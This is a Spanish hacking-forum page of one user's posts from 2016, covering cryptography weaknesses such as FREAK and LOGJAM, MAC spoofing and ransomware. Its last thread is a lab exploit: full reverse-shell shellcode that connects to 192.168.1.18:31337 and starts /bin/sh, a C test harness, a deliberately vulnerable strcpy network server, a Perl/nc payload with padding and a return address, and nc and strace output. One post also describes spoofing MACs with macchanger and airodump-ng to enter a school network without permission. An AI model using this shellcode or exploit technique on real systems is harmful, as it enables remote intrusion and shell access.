últimos mensajes de: arget

Mostrar Mensajes
Páginas: 1 2 3 [4] 5

31	Seguridad Informática / Criptografía / Re: Duda sobre el progreso en la seguridad de las comunicaciones	en: 23 Marzo 2016, 13:48 pm
Lo primero, y por tanto menos importante (XD) es que sí, lo he escrito yo, no sé a qué te refieres con el formato, a mi parecer se ve igual que cualquier otro post, solo que no me gusta escribirlo en el textarea de elhacker.net y lo escribo en gedit para luego copiar y pegar. Me he leído el tema que dices, sinceramente me parece más interesante tu respuesta a Engel Lex que el primer post jajaja. Solo decir una cosita a Engel Lex, RSA también incluye el algoritmo de cifrado, el que sea una simple potencia no quiere decir que ya solo especifique el algoritmo de generación de contraseñas. Es cierto que la NSA ha realizado sus intervenciones a los estándares (por eso siempre me he fiado más del RFC que del FIPS, NIST, y otras diabluras que rimen con "chip", aunque sea rima asonante). Tenemos también la intrusión al CVS de Linux para introducir un backdoor [ http://www.securitybydefault.com/2010/10/hackeos-memorables-la-backdoor-en-el.html ], el testimonio de Linux Torvalds diciendo que se lo han pedido directamente, la presencia omnipresente de SELinux (creado por la NSA) que yo siempre desactivo (¿si tanto nos atacan por qué iban a hacer un software para protegernos?, sí, ya sé que en ciertas experiencias de laboratorio ha evitado ciertos errores [ https://www.youtube.com/watch?v=8_Bc0n70Erc ]) y la petición para poner un backdoor en los... ¿cómo se llamaban estos trastos? Siempre me han sonado a BlackBerry... Raspberry. Incluso el descubrimiento del Equation Group (también de la CIA o la NSA o de esta gente) sobre cómo introducir virus en el firmware de un usb, etc. ¿Pero llegar a decir que el AES en inseguro? Yo lo considero totalmente seguro, a 256 bits, mediante el modo CBC o incluso el CTR basta, perfecto. Puedes decir que el que la contraseña sea de 256 bits como máximo te limita, yo particularmente lo soluciono aplicándole primero un SHA-256. Ah, espera, que como también es de la NSA ya no vale. SHA-2 lleva ya casi tanto tiempo en juego que la PS2 y si no se ha publicado nada, yo me callo la boca (no es lo mismo que SELinux). E igualmente confío plenamente en RSA. Y ya, para que me crucifique la comunidad criptográfica, digo que RC4 bien implementado (como casi todo menos el cifrado de César) es plenamente seguro, es cierto que el one-time-pad directamente implementado mola más y es más seguro, pero no es viable, lo siento. Si no te gustan vete a tu esquinita a usar IDEA, Blowfish, RC5, Serpent, SHARK, Xenon y hasta el cifrado francmasón, por lo menos podrás comunicarte con la pared. Y ya para acabar, es eso justo lo que digo, la criptografía como tal funciona, el problema son las implementaciones que usamos, y por eso digo que haría falta un qmail o djbdns de la criptografía, que se ha tardado más de una década en encontrarles apenas una diminuta pega de seguridad. Dejando a un lado la conspiranoia que suelto al final de si serían capaces de resolver los logaritmos discretos y tal... Y ahora sí, para terminar, la reutilización de primos no lo digo como algo malo ("no es negligencia"), es simplemente que no se considera dañina la reutilización de primos. Sin embargo, repito que el 80% (82% en realidad) de servidores que implementan DH son servidores Apache, y estos emplean todos el mismo primo. No sé, propondría hacer aquí, en elhacker.net nuestra propia implementación de TLS y ver hasta dónde llegamos, pero creo que con la pereza que al final se respira en estos foros no llegaríamos ni a escribir el #include <stdio.h>

32	Seguridad Informática / Wireless en Windows / Re: Intrusión incomprensible.	en: 23 Marzo 2016, 09:33 am
Bueno, no se por qué no puedo insertar una cita (tengo javascript activado y todo, pero nada): Cita de Zomkar: "Sobre el spoofeo de MAC claro que es posible, pero si el equipo cuya MAC se spoofea está conectado, ambas conexiones serán "inestables", ya que el router estaría constantemente cambiando la dirección IP correspondiente a esa MAC en la tabla ARP. " Este tema siempre me ha gustado discutirlo, y es que yo en el instituto he conseguido la clave del router y spoofeando la MAC tengo acceso (estando el de la MAC original conectado). Y funciona, ni se crashea la red ni nada. Yo diría que es por esto, en una red por cable el router sí que recuerda en qué conector tiene a qué MAC, si de repente aparece la misma MAC en dos conectores, me resultaría lógico que lo mande al primero que revise, ¿por qué? Router recibe paquete desde cualquier nodo de la red incluyendo el módem para paquetes que lleguen de Internet ("ahí afuera") para una MAC concreta [aunque el router y el módem se encuentren en el mismo aparato sería igual], mira en sus enchufes de la espalda y comprueba el 1, ¿ahí está la MAC? si es que sí, lo manda por ahí, si no, mira el 2, etc, una vez lo ha mandado (si no lo encuentra lo desecha) deja de buscar más, por tanto en caso de haber dos enchufes con la misma MAC el del enchufe más lejano quedará incomunicado sin recibir paquetes (pero podrá enviarlos). Pongámonos en el caso de una red wireless, aquí no se puede evitar el broadcast, el router envía los paquetes de uno a todos y por tanto el de todos a uno (cuánto daño han hecho los tres mosqueteros). Si hay dos con la misma MAC, al conectarse, el falso hablará con el DHCP, quién recordará la MAC y le otorgará la misma IP que el original (si no hay DCHP, cosa rara, siempre puedes ponerte tú mismo la IP del original). Cuando envías un paquete, el router lo procesará como si fueras el original, cuando el original envíe un paquete el router lo procesará como quien es: el original. Cuando llega un paquete para nuestra MAC, sea uno provocado por nosotros o por el original, lo recogeremos ambos, si uno lo reconoce como respuesta a uno suyo anterior, lo guarda, si no, lo desechará. Pongamos que yo realizo una petición a Google, cuando regrese la respuesta de Google tanto yo como "el otro" la cogeremos, solo que yo lo reconoceré como la respuesta a mi petición y el otro no lo reconocerá, de modo que lo desechará. Sin más complicaciones, señores.

33	Seguridad Informática / Criptografía / Re: Duda sobre el progreso en la seguridad de las comunicaciones	en: 23 Marzo 2016, 09:08 am
Ya, pero yo no hablo de cifrados de hash ni simétricos. Hablo de claves, y en el caso de un tamaño de clave SIEMPRE será en su TOTALIDAD, sea del tamaño que sea, ALEATORIA o pseudoaleatoria. Al ser mayor el número más fastidioso es factorizar la clave pública. ¿Quién tiene más factores, el 4 o el 304? En el caso de DH igual, con un primo de 1024 bits es necesario hacer más operaciones que con uno de 512, con uno de 2048 ni hablemos, esto es exponencial... Pero en ningún momento se establece ningún tipo de relleno. Y normalmente los rellenos se realizan de manera segura si es que son necesario (repito que en este caso no), son rellenos aleatorios (salvo en el caso de funciones de hash como MD5) que se distinguen del mensaje mediante unos caracteres específicos que los separan. Yo creo que te confundes con los modos de los cifradores de bloques, específicamente con ECB. Todo esto sin intentar dar clases de nada ni ofender de ninguna manera

34	Seguridad Informática / Criptografía / Re: Duda sobre el progreso en la seguridad de las comunicaciones	en: 22 Marzo 2016, 23:51 pm
Es cierto que yo, con mi Intel Celeron, no puedo con 512 bits ni con 128, ni con 56, pero es seguro que la NSA sí, y otro tema preocupante (lo meto con calzador) es también si grupos no gubernamentales ni empresarios, como las mafias y otros tipos de delincuentes lograrían la misma capacidad computacional para lograrlo. Por otro lado discrepo, la cantidad de bits si aumenta la seguridad. Es una proporción simple: Si aumenta la cantidad de bits, aumenta la cantidad posibles valores, al aumentar esto se requiere más tiempo para recorrer todos los valores, a niveles de tiempo de 1024 bits podríamos hablar de años, de 2048 de décadas, a 3072 siglos y 4096 milenios, piensa que esto es exponencial.

35	Seguridad Informática / Criptografía / Duda sobre el progreso en la seguridad de las comunicaciones	en: 22 Marzo 2016, 22:38 pm
# By Arget, en Madriz, España ~ 22-03-2016 # [ INTRODUCCIÓN ] A raíz de las revelaciones de Snowden (temed pronunciar el nombre del innombrable, acabaré en un manicomio gritando "no estoy loco"). [Sí, esto era la introducción, suelo ser más bien escueto.] [ PRÓLOGO ] Es posible que las referencias te interesen más que yo, están al final Si te intereso pero no todo lo que tengo que decir léete la conclusión del final Gran prólogo mejor persona. Desde que empezó la criptografía fuerte abierta al público (dejando de lado el lenguaje de manos que se inventaron mis compañeras de colegio y que no era lenguaje de sordos), durante esta década casi y media hemos ido viendo la aparición de errores en nuestras vidas, y no me refiero a la marcha atrás o al alcohol, hablo de errores tales como FREAK, CRIME, LOGJAM, POODLE, y ahora DROWN (HeartBleed te lo añadimos al carrito por tan solo un euro más), fijaos, ya no solo les asignamos un número de CVE, sino que les ponemos nombre e incluso hasta logo, cosas del cariño que no se pueden evitar :') Yo personalmente después de HeartBleed no me esperaba más vulnerabilidades, sin embargo ahí tenemos DROWN sonriente como el puto niño que sonríe ante sus desgraciados padres mientras señala con un dedo marrón la pared llena de manchas de chocolate (debo aclarar que DROWN es el puto niño, los padres nosotros, y la NSA algo indefinido, como el chocolate o la pared, estilo Slenderman: está pero no está). Y aquí tengo que pausar la peli para hacer una reflexión, nosotros estamos empezando a perfeccionar nuestro propio sistema mientras que los de ahí arriba lo acabaron y perfeccionaron hace tiempo dejándonos encerrados dentro de dicho puto sistema. Es como el Matrix, nos rodea, lo ves en todo momento, está en el aire que respiras, está ahí cuando bajas la basura, cuando pagas tus impuestos, lo ves al bajar a la calle, no puedes escapar de él, solo a él - Es una definición similar a la de Morfeo. Pero no vengo a hablar aquí de mis filias, más bien de mis fobias. No nos olvidemos de quien es el mayor contratante de matemáticos del mundo, no soy yo precisamente, tampoco mi empresa (inexistente) ni a la que voy todas las mañanas, ni siquiera se encuentra en mi país (España), ni en el país de al lado (¿Suecia?). Creo que ya sabemos a quién nos referimos, y no solo al país, sino a qué agencia. En un principio la NSA era capaz de salir a decir que no existía, cosa carente de sentido ya que si no existes tampoco existes para decir que no existes, no hace falta ser un filósofo existencialista (¿pillas el chiste? XD) para darse cuenta del insulto, ahora sin embargo son capaces de ir y en tus narices meter la mano en el sobre que acabas de meter al buzón. Solo tengo una palabra que decir, señoría: descaro. Veamos el panorama un poco más completo, no es necesario coger el helicóptero, basta buscarse una silla. Antiguamente se entraba por ejemplo a Google, uno iba muy contento sin poner en duda la seguridad de SSL. Ahora te enteras de que no necesitaban siquiera descifrarlo -que podrían-, les basta con pedirlo a Google y otros tantos servicios (Saludad Mark!, Billy!), incluso ya les supone suficiente conseguir los metadatos ("muchos datos y muy datos", gracias, Rajoy, por tu legado a la literatura española), que pueden obtener fácilmente porque los cables de casi toda Internet hacen parada en USA, los caminos ya no conducen a Roma: todos los cables conducen a Guantánamo, supongo. Igualmente, mediante GoogleAds (que están everyweaaar) Google sabe las páginas que visitas, no es necesario que les des la información ni que vengan ellos a cogerla a tu casa, basta con que la tires por la calle. Y existen mil métodos más, que si las cámaras, que si las cuentas bancarias, que si etc... y no tan evidentes: los routers WiFi de las tiendas de la calle pueden registrar las MACs de los móviles que pasan por delante, localizándote finalmente, como ves, esos matemáticos contrataditos se han puesto las botas, al fin y al cabo "Pitágoras no sería un genio sin catetos" (HardGZ). Resulta que al final, todos tus datos, por mucho que los hayas protegido, han acabado en su base de datos en Putah... digo Utah (el corrector... ya sabes), EEUU. Pero obviémoslo. Podemos abrir un debate sobre si usar Google o la oposición libre (of course not Bing!), e incluso dentro de la oposición tendríamos peleas, que si DuckDuckGo, que si Disconnect.me, que si StartPage... Pero como digo, por un momento, metámosnos en la piscina, hundámosnos al fondo, donde todos los sonidos dejan de existir, para fijarnos solo en la criptografía. Finjamos que no pueden obtener los datos ni los metadatos de otra forma que no sea descifrando. ¿Qué tenemos aquí? Hablemos sobre los cifrados que aparecen en nuestra vida a diario: normalmente RSA y Diffie-Hellman. En este momento aparece uno de los peores niños malos de la familia, FREAK. FREAK permite que una conexión RSA segura de 1024 bits o mayor se rebaje a una de 512 bits. Está comprobado que es posible atacar claves de hasta 768 bits, por tanto esto resulta insuficiente. Este error ya no es solo praxis, también se contempla desde la teoría. Y aún así cabe pensar que si siguiéramos el manual de instrucciones se lo pondríamos más difícil, si algo nos han dado los suecos del maldito IKEA es aprender a seguir las instrucciones. ¿Qué sugiere el manual de instrucciones? Emplear una clave RSA diferente para cada conexión, con esto, para cada conexión esos cabrones tendrían que factorizar la clave restándoles tiempo. Sin embargo, para el servidor esto resulta pesado, generar una clave de un tamaño seguro para cada conexión exige mucho rendimiento y sobre todo tiempo. Por esto emplean una clave para todas sus conexiones, de esta manera, esos cabrones de ahí arriba solo tienen que atacar una clave por servidor para espiar a todos los clientes del mismo. Gracioso, ¿verdad? Yo me estoy partiendo el culo. Muy cierto, es fácil criticiar, hay que aportar soluciones. Yo no me considero un experto en rendimiento de ordenadores, pero supongo que en los momentos en los que un servidor tiene menos carga de servidores (los servidores de España a las 3 a.m. -hora de España, naturalmente- no deben de tener demasiada carga) puede generar el número de claves que considere necesaria para aguantar durante la jornada, todo en función del número de peticiones que recibe normalmente, no sé, se me ocurre a mí ahora así en frío. FREAK tiene su hermano mellizo, LOGJAM, que ha salido a su hermano. Hace con Diffie-Hellman lo que FREAK hacía con RSA. Lo expongo: Diffie-Hellman necesita un número primo de considerable longitud y con ciertas características no debilitantes. Actualmente se suelen emplear primos de minimísimo 1024 bits, pero del mismo modo que en FREAK se puede hacer que se rebaje la seguridad a 512 bits (toda esta ***** por compatibilidad con sistemas de los 90's). Bien, el ataque consta de dos fases, la primera consiste simplemente en precalcular ciertas operaciones (con un primo de 512 bits en una universidad se tardó dos semanas, con lo de "simplemente" hablo relativamente) con el primo p usado. La segunda fase corresponde con el número aleatorio usado para cada conexión, el proceso es este, una vez tienes toda la primera fase completá', te dedicas a interceptar, una vez interceptas unos cuantos miles de millones de conexiones (ná' eh) coges lápiz y papel y en un minuto, o al menos un minuto es lo que tarda un computador. El caso reside en que existen pocos primos de un tamaño específico (que además estos hinfosmáticos siempre piden que sea una potencia de 2, incomprensible, ¿te lo puedes creer?) y que encima cumplan dichas características "no debilitantes" (estos criptógrafos tan tiquismiquis, ya solo porque un número acaba en 6 no es primo, impresionante, y ahora dirán que 2+2 no da decimales y 3/2 sí), por tanto y como la especificación en el RFC del algoritmo DH no dice nada en contra, se utilizan y reutilizan los mismos pocos primos. Como dice Arturo (en las referencias de abajo) el 80% de los servidores que implementan DH son Apache, todos los Apache emplean el mismo, pero no juzgueis, esta vez no es negligencia, no como en RSA, simplemente que según el estándar no es necesario (ni posible) conseguir un primo distinto de determinada medida para cada conexión. De modo que normalmente se emplean primos del RFC 3526. Yo ahora quisiera entrar en las paranoias más profundas pero con fundamento. Diffie-Hellman se basa en la conjeturada imposibilidad de resolver el problema de los logaritmos discretos. Como digo es conjeturada, no se ha demostrado que sea realmente imposible, en realidad es igual que factorizar números, _que sepamos_ solo se ha llegado a factorizar un número de 768 bits, no sabemos ni de qué tamaño son los folios de la NSA, y menos aún la potencia de sus ordenadores, como dice alguien de las referencias de abajo (no recuerdo quién) "recordemos que no miden sus ordenadores en FLOPS, sino en hectáreas". Del mismo modo, no sabemos si la NSA es capaz de resolver el problema del logaritmo discreto, aún así, admito que tardarían bastante tiempo y no les sería rentable, pero oye, pongamos TODO sobre la mesa. Por cierto, de parte del banco acaba de llegar otro regalo junto a las sartenes... no, no, no es otra hipoteca... no, no, no es una carta de deshaucio... ¡que no!, tampoco te piden un riñón ni un ojo, ya te los quitaron sin que te dieras cuenta. Los investigadores ya han expresado su preocupación de que sea posible realizar la fase de precomputación (la primera fase se llama así) para primos de 1024 bits. No hay que olvidar nunca que los gobiernos trabajan para las multinacionales y para sí mismos. En este momento a ambos les interesa mantenernos vigilados y espiados. Llegarán muy lejos para preservar sus intereses. Ya que hablamos de hasta dónde llegarían las empresas y de números primos, miraos un segundo esta noticia, como diría Iker: "inquietante". http://unaaldia.hispasec.com/2001/10/un-numero-puede-ser-ilegal.html Sí, es del 2001, no es una noticia fresca, pero sí realmente graciosa. [ CONCLUSIÓN ] No pretendo dar una imagen apocalíptica de la inutilidad de la criptografía. La criptografía está ahí, funciona y sirve, el problema es que debemos aplicarla de manera segura. Además, para comunicaciones entre dos partes no públicas (i. e. no un servidor), siempre nos quedará la esteganografía. Mi duda es, ¿realmente hemos logrado avanzar algo en estos años? Hemos reparado brechas como FREAK, pero nadie nos dice que no puedan con las de 1024, ¿hemos fijado el mínimo en 2048 al menos? Para mí el mínimo debería ser 3072, mejor que mejor 4096. ¿Hemos realizado una limpieza de implementaciones de SSL y demás? "Sí, LibreSSL está >libre< [jajá] de DROWN", ya, pero no hablo de eso, LibreSSL tampoco ha sido creada "from scratch". Necesitamos un OpenSSL/LibreSSL estilo qmail o djbdns [ http://unaaldia.hispasec.com/2009/03/existen-programas-sin-fallos-de.html ]. He dicho. Arget El anonimato es el mayor de los paraísos. Yo me llamo Ralph! [ REFERENCIAS ] http://www.securityartwork.es/2016/03/21/la-historia-del-ermitano/ https://freakattack.com/ https://weakdh.org/ http://naukas.com/2015/10/21/la-nsa-consiguio-desactivar-la-criptografia-internet-primera-parte/ http://naukas.com/2015/10/23/la-nsa-consiguio-desactivar-la-criptografia-internet-segunda-parte/ http://unaaldia.hispasec.com/2015/05/logjam-el-hacedor-de-llaves-en-el-reino.html http://unaaldia.hispasec.com/2015/03/freak-un-nuevo-ataque-ssltls.html http://www.set-ezine.org/ezines/set/38/0x06.txt # Anonimato: Fantasmas en la red ~ Blackngel http://www.set-ezine.org/ezines/set/36/0x02.txt # TOR - Una verdad a medias ~ Blackngel http://www.set-ezine.org/ezines/set/36/0x04.txt # HTTP Fingerprinting ~ gcode http://www.set-ezine.org/ezines/set/31/0x0F.txt # Fingerprinting pasivo ~ ca0s http://www.set-ezine.org/ezines/set/13/0x05.txt # Si alguien llama a tu puerta... ~ Paseante http://www.set-ezine.org/ezines/set/26/0x0A.txt # Esteganografía, el poder oculto ~ GRRL https://www.youtube.com/watch?v=fDPpzG6u-as # Nothing to hide? ~ Cryptoparty

36	Seguridad Informática / Seguridad / Re: Herramientas gratuitas para eliminar Ransomware y el cifrado de archivos	en: 22 Marzo 2016, 17:21 pm
loquito_pincha, no creo que puedas lograrlo. Si está cifrado con RSA-2048 tendrás que pagar. No sé si tienes idea de cómo es la criptografía de clave pública. En este caso el virus probablemente se haya conectado al servidor del atacante pidiendo una clave pública, en el servidor se generaron el par de claves, pública y privada, y le entregó a tu virus la pública. El virus cifró los archivos con la pública y te pidió el dinero. Solo puede descifrarse con la clave privada.

37	Seguridad Informática / Wireless en Windows / Re: Intrusión incomprensible.	en: 22 Marzo 2016, 16:50 pm
Para poder acceder a tu ordenador es necesario encontrarse en la misma red que dicho ordenador (o al menos ser accesible desde la suya, pero esto ahora no tiene que ver). Lo único que se me ocurre es que: 1. Para empezar, usas WEP o claves demasiado sencillas o predecibles. 2. Yo no sabía que desde Equipo/Red podías ver si hay alguien conectado, y lo dudo mucho, porque para eso Windows tendría que realizar un escaneo de la red (ya que con los paquetes broadcast no te aseguras de haber obtenido todos los participantes de la red), y no veo a Microsoft haciéndolo. 3. Spoofeen sus MACs. Mediante aplicaciones como macchanger puedes cambiar la dirección MAC aparente de tu tarjeta de red, observan mediante airodump-ng qué MACs están conectadas a tu red y por tanto las admite tu router, se "cambian" su MAC por esas y si también poseen la clave pueden acceder.

Seguridad Informática / Hacking / [SOLUCIONADO] Este shellcode...

en: 19 Febrero 2016, 18:46 pm

Buenas, amigos. Llevo ya un tiempo sin lograr entender qué ocurre con este shellcode. Este es el código en ensamblador:

Código

section .text
global _start
_start:
xor    eax, eax
xor    ebx, ebx
xor    ecx, ecx
xor    edx, edx
mov    al, 102  ; __NR_socketcall
inc    bl       ; socket
push   ecx
push   0x6      ; IPPROTO_TCP
push   0x1      ; SOCK_STREAM
push   0x2      ; AF_INET
mov    ecx, esp
int    0x80     ; socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
mov    esi, eax ; esi = descriptor de socket
 
mov    al, 0x66 ; __NR_socketcall
mov    bl, 0x2
push   0x1201a8c0 ; addr = 192.168.1.18
push word   0x697a     ; port = 31337
push   bx         ; AF_INET
inc    bl
mov    ecx, esp
push   0x10
push   ecx
 
push   esi
mov    ecx, esp
int    0x80
 
xor    ecx, ecx
mov    cl,  3
bucle:
dec    cl
mov    al, 0x3f
int    0x80    ; dup2
jne    bucle
 
xor    eax, eax
push   edx
push   0x68732f6e
push   0x69622f2f
mov    ebx, esp
push   edx
push   ebx
mov    ecx, esp
push   edx
mov    edx, esp
mov    al, 0xb
int    0x80

Funciona a la perfección tras compilarlo con un "nasm sc.asm", extraer los opcodes con xxd y probarlo mediante este programa en c, compilado con el flag "-z execstack":

Código:

#include <stdio.h>

char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66 \
                    \xfe\xc3\x51\x6a\x06\x6a\x01\x6a\x02\x89 \
                    \xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x68 \
                    \xc0\xa8\x01\x12\x66\x68\x7a\x69\x66\x53 \
                    \xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1 \
                    \xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f \
                    \xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f \
                    \x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52 \
                    \x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80";

void main()
{
    void (*fp)();
    fp = (void*) &shellcode;
    fp();
}

Este es el resultado. Pantalla 1:

Código:

arget@kali:~/exploiting/remote$ ./prueba      #tras esto se quedó suspendido hasta que cerré la conexión desde el otro
arget@kali:~/exploiting/remote$

Pantalla 2:

Código:

arget@kali:~/exploiting/remote$ nc -lvvp31337
listening on [any] 31337 ...
connect to [192.168.1.18] from kali [192.168.1.18] 50026
whoami
arget
exit
 sent 12, rcvd 6
arget@kali:~/exploiting/remote$

Sin embargo, en este código la cosa cambia:

Código:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int vuln(char* arg, int newsockfd)
{
    int n;
    char vul[128];
    strcpy(vul, arg);
    n = write(newsockfd, vul, strlen(vul));
    return n;
}

void shell()
{
    __asm__("jmp *%ecx");
}

void error(const char *msg)
{
    perror(msg);
    exit(1);
}

int main(int argc, char **argv)
{
    int sockfd, newsockfd, portno;
    socklen_t clilen;
    char buffer[256];
    struct sockaddr_in serv_addr, cli_addr;
    int n;
    if(argc < 2)
    {
        fprintf(stderr, "ERROR, no se ha indicado puerto\n");
        exit(1);
    }
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if(sockfd < 0)
        error("ERROR al abrir el socket");
    bzero((char*) &serv_addr, sizeof(serv_addr));
    portno = atoi(argv[1]);
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_addr.s_addr = INADDR_ANY;
    serv_addr.sin_port = htons(portno);
    if(bind(sockfd, (struct sockaddr*) &serv_addr, sizeof(serv_addr)) < 0)
        error("ERROR en bind()");
    listen(sockfd, 5);
    clilen = sizeof(cli_addr);
    newsockfd = accept(sockfd, (struct sockaddr*) &cli_addr, &clilen);
    if(newsockfd < 0)
        error("ERROR en accept");
    bzero(buffer, 256);
    n = read(newsockfd, buffer, 255);
    if(n < 0)
        error("ERROR leyendo del socket");
    printf("%s", buffer);
    n = vuln(buffer, newsockfd);
    if(n < 0)
        error("ERROR escribiendo en el socket");
    close(newsockfd);
    close(sockfd);
    return 0;
}

Al analizarlo con gdb una vez ya compilado (con el flag -z execstack) se observa que en vuln() se reservan 140 bytes antes de ebp, por tanto 144 antes que eip, también que en el momento de ejecutar el "ret" de vuln(), ecx apunta al comienzo del buffer.
Mediante objdump se obtiene que el "jmp *%ecx" se encuentra en 0x0804875c, esta dirección no va a variar ni aún teniendo ASLR activado como es el caso.
Perfecto. Pongo en una ventana un "nc -lvvp31337" a escuchar. En otra ventana ejecuto "./v 1337" (pongo el programa vulnerable a escuchar en 1337), y desde la terminal que simularía ser la terminal atacante ejecuto:

Código:

perl -e 'print "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xfe\xc3\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x68\xc0\xa8\x01\x12\x66\x68\x7a\x69\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x83\xc4\x08\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80" . "A"x51 . "\x5c\x87\x04\x08"' | nc 127.0.0.1 1337

Lo primero de todo, decir que en la primera prueba no salió como esperaba, analizando la memoria del proceso observé que había un punto en el que el shellcode se sobreescribía a sí mismo impidiendo el último "int 0x80", de modo que antes del último "xor eax, eax" añadí un "add esp, 0x8" y se solucionó (habría valido con 0x4, pero al añadir esa línea el código crecía 3 bytes, de manera que tuve que dejar más espacio, y para mantener la paridad, en lugar de usar 0x7 usé 0x8), aparte, creo que no tiene nada que ver con el problema de ahora.

En la primera pantalla ("nc -lvvp31337"), aparece esto:

Código:

arget@kali:~$ nc -lvvp31337
listening on [any] 31337 ...
connect to [192.168.1.18] from kali [192.168.1.18] 50030
 sent 0, rcvd 0
arget@kali:~$

Ambas conexiones se cierran, pero está claro que el programa vulnerable ha ejecutado una conexión hacia el puerto 31337, aparte que no informa de errores de segmentación, incluso termina con valor de retorno 0. Ahora explico por qué mientras lanzo mi duda.
Si "v" lo ejecuto mediante "strace ./v 1337" me muestra las llamadas al sistema que realiza:

Código:

execve("./v", ["./v", "1337"], [/* 42 vars */]) = 0
brk(NULL)                               = 0x8a07000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7798000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7778000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb75ce000
mmap2(0xb7772000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a4000) = 0xb7772000
mmap2(0xb7775000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7775000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb75cd000
set_thread_area({entry_number:-1, base_addr:0xb75cd940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb7772000, 8192, PROT_READ)   = 0
mprotect(0xb77bc000, 4096, PROT_READ)   = 0
munmap(0xb7778000, 127778)              = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 5)                            = 0
accept(3,

Y aquí se queda suspendido, ahora yo en la otra ventana ejecuto mi perl:

Código:

arget@kali:~/exploiting/remote$ perl -e 'print "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xfe\xc3\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x68\xc0\xa8\x01\x12\x66\x68\x7a\x69\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x83\xc4\x08\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80" . "A"x51 . "\x5c\x87\x04\x08"' | nc 127.0.0.1 1337
1�1�1�1Ұf��Qjjj��̀�ưf�h��fhzifS�É�jQV��̀1ɱ�ɰ?̀u��1�Rhn/shh//bi��RS��R���
                                                                             AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\�arget@kali:~/exploiting/remote$

Todos esos caracteres son normales ("v" lo que hace es un eco de lo que le mandas, si yo le mando caracteres no imprimibles como los del shellcode, devuelve eso), pero no es normal que se cierre la conexión. Vamos a la pantalla del "nc -lvvp31337" y nos sorprende un:

Código:

arget@kali:~$ nc -lvvp31337
listening on [any] 31337 ...
connect to [192.168.1.18] from kali [192.168.1.18] 50032
 sent 0, rcvd 0
arget@kali:~$

Aunque supongo que ya nos lo esperábamos todos... Vayamos al strace, este ha continuado y muestra datos muy interesantes:

Código:

arget@kali:~/exploiting/remote$ strace ./v 1337
execve("./v", ["./v", "1337"], [/* 42 vars */]) = 0
brk(NULL)                               = 0x8a07000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7798000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7778000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
